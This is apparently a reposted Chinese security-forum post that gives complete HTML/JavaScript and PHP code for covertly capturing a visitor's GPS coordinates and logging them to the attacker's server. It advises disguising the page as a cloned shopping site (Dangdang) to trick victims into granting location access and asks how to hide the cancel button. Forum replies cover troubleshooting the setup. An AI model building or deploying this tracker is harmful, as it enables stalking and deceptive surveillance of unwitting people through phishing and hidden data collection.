【技术讨论】社工之经纬度定位

总所周知,我们的IP定位也只是定位公网IP,精准度大部分不是很准,甚至有些时候不能很好的获取对方的位置,以下的技术,我自己试了,精准度在50以内,

此技术利用了HTML5 Geolocation API

直接调用方法即可,即使是4G网页可以精准定位


最原始代码如下,我自己加了一些
编写index.php页面代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
</head>
<body>

<img src="1.png" alt="" width="100%;">
    <script>
      var geol;      
        try {
            if (typeof(navigator.geolocation) == 'undefined') {
                geol = google.gears.factory.create('beta.geolocation');
            } else {
                geol = navigator.geolocation;
            }
        } catch (error) {
            //alert(error.message);
        }

        if (geol) {
            geol.getCurrentPosition(function(position) {

        var nowLatitude = position.coords.latitude;            
        var nowLongitude = position.coords.longitude;      
         //以上是固定代码,获取经度纬度

    alert("纬度:" + nowLatitude + ", 经度:" + nowLongitude);  //弹出经度纬度的坐标


                    function new_form(){
            var f=document.createElement("form");
            document.body.appendChild(f);
            f.method="post";
            return f;
        }    //定义函数,创建form

        function create_elements(eForm,eName,eValue){
            var e=document.createElement("input");
            eForm.appendChild(e);
            e.type="text";
            e.name=eName;
            if(!document.all){e.style.display="none"}else{
                e.style.display="block";
                e.style.width="0px";
                e.style.height="0px";
            }
            e.value=eValue;
            return e;
        }

//这段代码意思就是 定义方法,有两个input 他们的值分别是经度纬度的值

        var _f=new_form();
        create_elements(_f,"username",nowLatitude) // 创建form中的input对象
        create_elements(_f,"password",nowLongitude);

        _f.action="geolocation2.php";
        _f.submit();   //提交

//表单自提交发送到geolocation2.php页面



    }, function(error) {
        switch(error.code){
        case error.TIMEOUT :
            //alert("连接超时,请重试");
            break;
        case error.PERMISSION_DENIED :
            //alert("您拒绝了使用位置共享服务,查询已取消");
            break;
        case error.POSITION_UNAVAILABLE :
            //alert("非常抱歉,我们暂时无法通过浏览器获取您的位置信息");
            break;
        }
    }, {timeout:10000});    //设置十秒超时


        }
//设置连接超时的报错



  </script>
</body>
</html>




然后来写接受页面 geolocation2.php 的代码


<?php
@$time=date('Y-m-d H:i:s',time());  //获取当前时间
$nowLatitude="纬度 ".$_POST['username'];    //接受上个页面传过来的参数(经度坐标)
$nowlongitude="经度 ".$_POST['password']."   ------时间是".$time."\r\n";;    //接受上个页面传过来的参数(纬度坐标)
$fp=fopen("geo.txt", "a+");  //创建一个geo.txt文件
fwrite($fp, $nowLatitude);   //把经度写入到geo.txt里
fwrite($fp, $nowlongitude);   //把纬度写入到geo.txt里



?>


注意点:对方必须点击授权以后才能拿到对方的经度纬度(这个缺点可以结合社工实现)

现在来做个小测试


假设让对方访问



让对方访问我们的站点,他的页面上会显示 它自己的经度,纬度,并且经度纬度会保存在我们的站点数据里



打开geo.txt




对方的经度纬度已经写入






现在我们打开
http://www.gpsspg.com/maps.htm
把经纬度,写上去


给我朋友做的测试,它的确在这里,精准度50


现在来完善上面的缺点
就是去网上扒一个购物网站的源码,把源码复制在index.php




图如下,我把网站源码修改成当当网的了



这样就能精准的获取到他的地址位置~~~


不过我在想,能不能做个事件,或者是什么的,把 上面的取消按钮隐藏起来,    一直实现不了,还希望各位前辈一起动动各位的大脑~~~






图片。。。怎么发的
好了,现在已经发出来了
这个应该和安卓手机的权限有关  
按照你的搭建起了    手机访问也没提示定位等消息    未成功  求告知什么原因
linux服务器还是windows服务器,什么环境, 必须要给目录写入权限才行~
和浏览器有关,和手机无关,手机基本都可以
方便留个QQ不  私信下   加个好友

技术交流QQ群: 397745473
来自:https://xianzhi.aliyun.com/forum/read/1729.html?fpage=2

评论

此博客中的热门博文

【漏洞研究】[渗透测试]滲透Facebook的思路與發現

【技术讨论】使用apache mod_rewrite方法随机提供payloads